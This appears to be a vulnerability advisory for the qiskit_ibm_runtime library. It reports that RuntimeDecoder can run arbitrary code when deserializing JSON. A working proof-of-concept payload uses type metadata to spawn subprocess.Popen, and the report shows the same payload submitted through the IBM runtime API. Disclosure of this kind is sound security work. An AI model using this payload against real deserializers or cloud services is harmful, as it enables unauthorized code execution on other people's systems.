`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code

Summary

deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can be made to execute arbitrary code given a correctly formatted input string

Details

RuntimeDecoder is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159

PoC

malicious_data = {
    "__type__": "settings",
    "__module__": "subprocess",
    "__class__": "Popen",
    "__value__": {
        "args": ["echo", "hi"]
    },
}
json_str = json.dumps(malicious_data)

_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints "hi" to the terminal

(where obviously "echo hi" can be replaced with something much more malicious)

notably the following also makes it through the runtime API, with malicious_data serialized client-side via RuntimeEncoder (and therefore presumably deserialized server-side via RuntimeDecoder?)

service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status())  # prints "JobStatus.QUEUED"

Impact

i don't know if qiskit_ibm_runtime.RuntimeDecoder is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)